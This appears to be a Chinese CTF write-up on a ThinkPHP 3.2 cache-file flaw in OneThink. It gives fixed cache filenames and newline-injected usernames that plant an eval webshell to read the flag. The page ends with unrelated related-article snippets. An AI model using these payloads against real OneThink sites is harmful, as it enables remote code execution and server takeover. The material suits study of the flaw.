onethink swfupload upload.php,OneThink--ThinkPHP3.2 缓存文件泄露
框架漏洞
因为尝试访问/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php的确成功,所以很有可能就是这个漏洞。虽然图都挂掉了,但是大概也能看懂。漏洞的成因大概就是ThinkPHP框架的缓存函数S()是以File方式,在/Runtime/Temp下生成缓存php文件,而且缓存文件名固定。另外乌云的这个漏洞详情没有公开,能找到的文章只有这篇。
本地搭建
一不小心下成了1.1版本,不过应该也没有太多的不同,这里我需要安装两个所需的php插件,并设置可写
$yum installphp-mbstring
$yum installphp-gd
$chmod777 -R wwwroot
浏览/Runtime/Temp目录发现如下文件:
27cdbc1fb1747e4f56dfb350211408e1.php
2923514e8f7dfe49ac5aebd5073e6000.php
5f172c2585b382a65d91e0c51a64dc7f.php
77278367caf1eb2690f686654d77e163.php
ea40274ec2c219aa956e2d44e586834d.php
其中如下两个文件是跟用户有关的文件:
5f172c2585b382a65d91e0c51a64dc7f.php
ea40274ec2c219aa956e2d44e586834d.php
这个两个文件内容一样,但不一定同时存在,内容如下:
//000000000000a:1:{s:2:"u1";s:13:"Administrator";}
?>
分析利用
如果用户名中存在用换行符或者回车,即可让语句从单行注释中逃逸出来:如注册一个名为%0aphpinfo();//的用户并登陆,这里需要注意注册以及登陆框会将输入url编码,所以要在burp里还原%0a,顺便吐槽一下验证码,太难看清了。登陆前只有ea的一个文件,登陆后5f文件也出现了。观察这两个文件内容如下:
//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"
phpinfo();//";}
访问/wwwroot/Runtime/Temp/ea40274ec2c219aa956e2d44e586834d.php 查看phpinfo()成功,所以可以开心的写木马了,但是这里限制了用户名为16个字符,所以只能分开写:
%0a@eval($_POST[0]);// [20个字符]
%0a$a=$_POST[0];// [16个字符]
%0a@eval($a);// [13个字符]
注册完分别登录,换存文件就变成如下,菜刀链接即可,flag就在根目录下
//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"
phpinfo();//";s:2:"u5";s:16:"
$a=$_POST[0];//";s:2:"u7";s:13:"
@eval($a);//";}
版本不同
1.0 的缓存文件名为:
2bb202459c30a1628513f40ab22fa01a.php
865e8245bc0c525aa4a48bfb433d7c3e.php
1.1 的缓存文件名为:
5f172c2585b382a65d91e0c51a64dc7f.php
ea40274ec2c219aa956e2d44e586834d.php
onethink swfupload upload.php,OneThink--ThinkPHP3.2 缓存文件泄露相关推荐
- onethink 1.0 框架升级ThinkPHP3.2.3后的问题解决
onethink1.0使用的是ThinkPHP3.2.0,ThinkPHP3.2.3升级后接口有变化.需要修改onethink1.0三个文件才可以运行. 1. Application\Common\C ...
- onethink入门笔记(一)
onethink入门笔记(一) 由于公司需求所以大概花了一个星期搞了一个一个基于onethink的数据管理平台demo不得不说onethink这个基于thinkphp3.2.3的框架还是很棒的 让我这 ...
- 有关SwfUpLoad的2038 错误
项目需要用到大文件上传.最后选择了开源的swfupload作为上传空间,dome都运行非常良好.到了把它放到我的项目当中的时候. 出现了# 2038 error. 仔细观察后发现上传文件超过4mb就不 ...
- SWFupload 在(FF)火狐下报404错误的解决方案
2.在FF下会报出404错误 swfupload Upload Error: 404 ,这个问题很简单,就是你实例化SWFupload的时候.upload_url: "upload.php& ...
- “百度杯”CTF比赛2017年2月场WP--web
一.爆破-1 在php语言中,所有的已经定义的变量都会保存在GLOBALS全局数组中,比方说你定义了一个$name="李华",那么$GLOBALS['name']就等于" ...
- amazon 工作流服务_我在亚马逊仓库找了份工作,却没有和一个人说话
amazon 工作流服务 重点 (Top highlight) A few weeks ago, I had just completed an application to work in a wa ...
- java 简单实现上传 | commons-fileupload
使用servlet来实现 配置pom.xml <dependency><groupId>commons-fileupload</groupId><artifa ...
- 67.220.90.12/bbs/index.php,对乌云漏洞库payload的整理以及Burp辅助插件
来自于一个小的想法,我们能否从一个http burp插件 然后写了一个burp插件,用来辅助寻找http请求包中域名,路径,参数等获取乌云历史漏洞中类似的数据. Payload排名Top 既然已经将w ...
- 67.220.90.12/bbs/index.php,对乌云漏洞库的分析.md
漏洞都是相似的,但挖洞姿势却各有各的不同. 最近收集了很多src的资产域名,正在琢磨怎么用自动化扫描器来扫描,于是有了这个想法.乌云漏洞库有很多样本案例,网络上好像还没有人公开整理过乌云漏洞库中的pa ...
最新文章
- Java之数组array和集合list、set、map
- Codeforces Round #180 (Div. 2) A. Snow Footprints 贪心
- 杨氏干涉的模拟的MATLAB仿真
- 如何调用webservice接口
- Page.LoadTemplate的使用
- 无线网sdn服务器,什么是SDN,SDN网络与传统网络对比
- python 【第一篇】基础数据类型
- Linux命令之tar等
- 郭天祥的10天学会51单片机_第十一节
- 机器人操作系统二 ROS2:设计、架构和野外使用 - 机器翻译
- VS2017离线安装
- python画微信公众号首图
- 如何将QQ群文件快速下载,怎么快速下载QQ中的文件,QQ群文件下载
- 数据平台初试(产品篇)——监控大屏初露面
- 程序员的自我修养--链接、装载与库笔记:第一章温故而知新
- STM32F1系列之常用外设说明
- memcache1.5.8——LUR策略
- 第三十二章 XML基础知识概念
- 云米冰箱能控制扫地机器人_在云米的大屏冰箱就能操控其他智能家电?一起到京东618了解更多...
- selenium中拖动鼠标通过滑动验证码(geetest)验证
热门文章
- 计算机程序的思维逻辑 (12) - 函数调用的基本原理
- c++中scanf和printf
- Keras和TensorFlow的关系和区别
- html写个用户协议,五分钟学会HTML5的WebSocket协议
- html文件头自动生成,基于infinispan源码包HtmlGenerator代码生成器通过指定头部、标题、底部等进行生成HTML文件...
- SQL注入——基于布尔的盲注(八)
- goland go test_七天用Go写个docker(第一天)
- 电子计算机 俗称 它是一种具有,2013年计算机一级B试题模拟1
- python保存运行结果下次使用_将python运行结果保存至本地文件中的示例讲解
- python logging模块的作用_【python】【logging】python日志模块logging常用功能